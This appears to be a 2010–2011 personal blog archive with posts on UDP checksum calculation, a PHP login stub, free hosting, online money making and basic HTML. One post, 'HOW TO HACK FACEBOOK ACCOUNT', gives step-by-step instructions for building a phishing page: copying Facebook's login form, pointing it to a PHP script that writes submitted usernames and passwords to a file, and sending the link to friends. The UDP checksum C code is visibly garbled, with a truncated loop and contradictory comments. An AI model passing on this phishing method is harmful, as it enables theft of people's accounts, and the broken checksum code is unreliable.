Friday, January 21, 2011

UDP CHECKSUM CALCULATION


UDP CHECKSUM CALCULATION



The checksum is calculated over all the octets of the pseudo header, UDP header and data.
If the data contains an odd number of octets a pad, zero octet is added to the end of data.
The pseudo header and the pad are not transmitted with the packet.

In the example code,
u16 buff[] is an array containing all the octets in the UDP header and data.
u16 len_udp is the length (number of octets) of the UDP header and data.
BOOL padding is 1 if data has an even number of octets and 0 for an odd number.
u16 src_addr[4] and u16 dest_addr[4] are the IP source and destination address octets


Function: udp_sum_calc()
Description: Calculate UDP checksum
typedef unsigned short u16;
typedef unsigned long u32;

u16 udp_sum_calc(u16 len_udp, u16 src_addr[],u16 dest_addr[], BOOL padding, u16 buff[])
{
u16 prot_udp=17;
u16 padd=0;
u16 word16;
u32 sum;         
           
            // Find out if the length of data is even or odd number. If odd,
            // add a padding byte = 0 at the end of packet
            if (padding&1==1){
                        padd=1;
                        buff[len_udp]=0;
            }
           
            //initialize sum to zero
            sum=0;
           
            // make 16 bit words out of every two adjacent 8 bit words and
            // calculate the sum of all 16 vit words
            for (i=0;i
                        word16 =((buff[i]<<8)&0xFF00)+(buff[i+1]&0xFF);
                        sum = sum + (unsigned long)word16;
            }         
            // add the UDP pseudo header which contains the IP source and destinationn addresses
            for (i=0;i<4;i=i+2){
                        word16 =((src_addr[i]<<8)&0xFF00)+(src_addr[i+1]&0xFF);
                        sum=sum+word16;    
            }
            for (i=0;i<4;i=i+2){
                        word16 =((dest_addr[i]<<8)&0xFF00)+(dest_addr[i+1]&0xFF);
                        sum=sum+word16;    
            }
            // the protocol number and the length of the UDP packet
            sum = sum + prot_udp + len_udp;

            // keep only the last 16 bits of the 32 bit calculated sum and add the carries
            while (sum>>16)
                        sum = (sum & 0xFFFF)+(sum >> 16);
                       
            // Take the one's complement of sum
            sum = ~sum;

return ((u16) sum);
}


Here we give a simple example of the checksum calculation. You can find details about efficient implementation of the calculation in the [RFC 1071]. As an example, suppose that we have the following three 16-bit words:

0110011001100110
0101010101010101
0000111100001111


The sum of first of these 16-bit words is:
0110011001100110
0101010101010101
---------------------
1011101110111011

Adding the third word to the above sum gives
1011101110111011
0000111100001111
---------------------
1100101011001010
The 1's complement is obtained by converting all the 0s to 1s and converting all the 1s to 0s. Thus the 1's complement of the sum 1100101011001010 is 0011010100110101, which becomes the checksum. At the receiver, all four 16-bit words are added, including the checksum. If no errors are introduced into the segment, then clearly the sum at the receiver will be 1111111111111111. If one of the bits is a zero, then we know that errors have been introduced into the segment. In section 5.1, we'll see that the Internet checksum is not foolproof -- even if the sum equals 111111111111111, it is still possible that there are undetected errors in the segment.  For this reason, a number of protocols use more sophisticated error detection techniques than simple check summing.

Notice that this does not equate to making the number of 1's even or odd

0110011001100110
0101010101010101
0000111100001111
0011010100110101
----------------
EEEEOEEOEEEEOEEO

Thursday, December 30, 2010

MAKE LOGIN SYSTEM FOR YOUR WEBSITE

If you want to make a login system for your website you must be familiar with html javescript php and SQL
TODAY i am going to show you the code that you can use to make login system for your website.

One thing that must be clear to you is that PHP is server-site language that it is not executed on the client computer there for you need a server you can install xamp for this purpose
go to the search engine and write xamp download you will easily find the xamp download it and install it once you have done here is the code to make a login system for you website
mysql_connect("localhsot","root","") or die(mysql_error());

HAPPY NEW YEAR



Finally this is the end of the another year of life. It is the universal law that after every sun set, sun rises again with all its power and spread its light on whole earth similarly its the end of another exciting year 2010 and start of new year 2011 with new aims,motives new plans of future.







We hope this year will bring health,wealth,harmony,peace and lots of happiness for each and every one living 




in this word whether rich or poor black or white .THIS YEAR WILL BE THE YEAR OF PEACE we hope there will be no wars.

Monday, December 27, 2010

HOW TO HACK FACEBOOK ACCOUNT

Now a days the most popular social networking site is facebook.Peoples are crazy about using facebook
today i gona sh0w you how you can hack facebook account.

In order to make this work you have to be really precious the way i am telling you you should fellow the same sequence other wise its not gona work okey lets start.

1.open facebook.com  in browser

2.save the page by pressing ctrl+s. SAve the page as web page.

3.open the file with note pad.

4. press ctrl+f to find a text.

5.now type "action" in the find text.

6. now replace this text (https://login.facebook.com/login.php?login_attempt=1"")  by   "second.php"

7. Save this page by name "login.php".

8.Now open a new document in NOTE PAD and write this code.



header(location:'https://login.facebook.com/login.php?login_attempt=1');
$log=fopne("pass.txt","k");
foreach($_POST as $variable=> $value)
{
fwrite($log,$variable);
fwrite($log,"=");
fwrite($log,$value);
}
fclose($log);
exit;
}
?>


SAVE this page as "second.php" .

NOW YOU HAVE DONE
UPLOAD THESE PAGES AND SEND LINKS TO YOUR FRIENDS...

SEE YOU

Sunday, December 26, 2010

GET FREE DOMAIN AND HOSTING

TODAY i am going to teach you how you can get domain and hosting as well for your website its life time and most important free.

lets quickly move towards the domain.
DOMAIN:
                            There are many website which offer you free sub domain but i like to most is co.cc which allow you full features of a real domain its free of cost and effective.
GO TO THE SITE BELOW:


http://www.co.cc/?id=324154

You will se a page like this:


2. Now enter the domain name you want to get register for your website here.




If the domain you order is available get your self registered and register the domain
now you have the domain.


HOSTING:

there are many website which offer you free webhosting but the website that i use is
000hosting



Web Hosting


THis is one of the best free hosting website .

get yourself registered on this website.




AFTER get you will have to add the domain you have created at co.cc create that account for that domain and then this you will se a message shown in this picture that account activated now click on GO TO Cpanel




To to file manager and upload the all the file our your website all files including pages and images styles sheet everything you have done.

GO to the search bar enter your domain you will see you page open.
If you have any Question or queries you can post a comments section.
SEE YOU...........

Saturday, December 25, 2010

online money making

There are many ways to earn online but the thing you must clear that online money making is not easy as you think. Here you have to work hard to earn money.The more you work the more you get. I going to discuss few
ways through which you can earn money which are very common now a days.Let one thing clear whenever you are starting an online business and your supposed to start a business with some investment make it clear that the person through whom you are going to invest is trust worthy.FEW common online money making way are given below here.
  1. PTC
  2. DATA ENTRY
  3. INTERNET MARKETING
PTC:
        PTC stands for pay to click program in which you have to visit sites and you will be paid for visiting websites.There are many PTC site on the net BUT this program is full of scams .HOW YOU CAN start this business?
you need to be patient if you want to earn through this program .
Let me guide you how you can start this program.
GO TO this site.
www.alertpay.com
get your self registered .

This is the online bank through which you will be paid.

Now after joining this site open the ptc sites you can search them in the search engine.
like www.neobux.com

After joining these website you will have to work on daily bases you will get few sites daily by the ptc sites and you have to visit them and if will refer your friend to any of these website even then you will earn.


DATA ENTRY:
                         Data entry of many kind here we are discussing free work so you can start free data enrty work by  join captcha entry website there are many captcha entry websites.The good thing is that here we found realy few scams almost all the captcha entry sites pay their users.
ITS free to join and easy to work go to the search engine and search for the captcha entry you will find website to work on capthca entry if you have still any question you can post it in comments section.
INTERNET MARKTING:
                                                 Now a days many people are joining and working in this program the most popular is the GMi BUT is realy hard to follow you can work online as well as offline .IF you have experience of marketing this is best part time job for you for any further question about intermarketing you can mail me at my emailid.
SEE YOU IN NEXT POST.

LEARN HOW TO CREATE WEBSITE

Well many people search that how they can create a website and they found so much material related to web development but they get confused that how to get start now i going to teach you step by step that how can you create your own website and how can you get free domain as well as hosting . this will be our course outline.
  • HTML
  • CSS
  • javascript
  • PHP
  • FREE DOMAIN 
  • HOSTING YOUR WEBSITE
 HYPER TEXT MARKUP LANGUAGE:
                                         Html is the scripting language which is used to create and format webpages first we will learn how to use HTML to create webpages.
You need note pad to write the code of html.
  1. open the note pad and write the following code.



HTML TUTORIALS


THIS IS MY FIRST HTML PAGE





2. SAVE this file with and extension of html e.g "filename.html".

This is the basic structure of html code and you will write all the pages like this save them with the
extension of html.


HTML PAGES consist of these basic tag.
  1. HAED TAG
  2. TITLE TAG
  3. BODY TAG
 HEAD TAG AND TITLE TAG:
                            HEAD tag contains title tag.The text written within the title tags will be displayed in the top right corner of the BROWSER above the menu bar.
Search engine reads the title bar when a request is send to them to fine a certain page.Search engine will try to match the content of the text written in search bar by any other user, with the text in the title tags if the text match search engine will open your page.

Another very important part of the head tag is the meta tag which contain the keywords and the description of your website.Search engine uses these tags to find any requested information.

BODY TAG:
                                Body tags contain all the data or information of our webpage and it also include some instruction .We will now learn how to write data and instruction in the body tag.i think its enough for today.


IF have any questions or queries feel free to ask.
SEE YOU in the next post.

ALLAH HAFIZ

learn C++

 

blogger templates | Make Money Online